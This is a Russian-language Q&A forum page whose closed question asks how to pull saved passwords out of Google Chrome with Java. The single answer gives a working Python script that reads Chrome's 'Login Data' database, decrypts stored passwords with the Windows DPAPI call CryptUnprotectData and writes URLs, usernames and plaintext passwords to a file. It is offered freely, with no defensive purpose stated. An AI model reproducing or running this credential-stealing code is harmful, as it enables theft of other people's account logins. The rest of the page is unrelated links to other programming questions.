Как вытащить пароли с Google Chrome используя Java? [закрыт]

141
20 марта 2019, 16:00

Хотелось бы создать приложение которое вытащит пароли с Google Chrome которые лежат тут C:\Users\elnur\AppData\Local\Google\Chrome\User Data\Default

Answer 1

Нашел код который делает это в питоне очень легко. Если кому нужен

import os
import sys
import sqlite3
import csv
import json
import argparse
import win32crypt
def main():
    info_list = []
    path = getpath()    
    connection = sqlite3.connect(path + "Login Data")
    with connection:
            cursor = connection.cursor()
            v = cursor.execute(
            'SELECT action_url, username_value, password_value FROM logins')
            for origin_url, username, password in v.fetchall():
                if os.name == 'nt':
                    password = win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]
                    info_list.append({
                        'origin_url': origin_url,
                        'username': username,
                        'password':password
                    })
    return info_list
def getpath():
    if os.name == "nt":
        PathName = os.getenv('localappdata') + \
        '\\Google\\Chrome\\User Data\\Default\\'
    return PathName
file = open("testfile.txt","w")
for i in main():
    file.write(str(i)+"\n")
file.close()
READ ALSO
Надо сохранить информацию о том сколько раз пользователь подсмотрел ответ

Надо сохранить информацию о том сколько раз пользователь подсмотрел ответ

Есть небольшое приложение: надо хранить информацию о том сколько раз был подсмотрен ответ(ответ находится во второй Активити, при возвращении...

127
IntelliJ IDEA не видит “Hex”

IntelliJ IDEA не видит “Hex”

IntelliJ IDEA не видит "Hex", в чем может быть проблема? Код брал отсюда

213
Построение графика GridView

Построение графика GridView

Имеется следующий участок кода:

170
Почему NetBeans не позволяет создать пакет?

Почему NetBeans не позволяет создать пакет?

Сам не позволяет создать пакет META-INF, а при его создании вручную, не видитДумаю, из-за этого у меня не получается привязать Bean к xhtml

163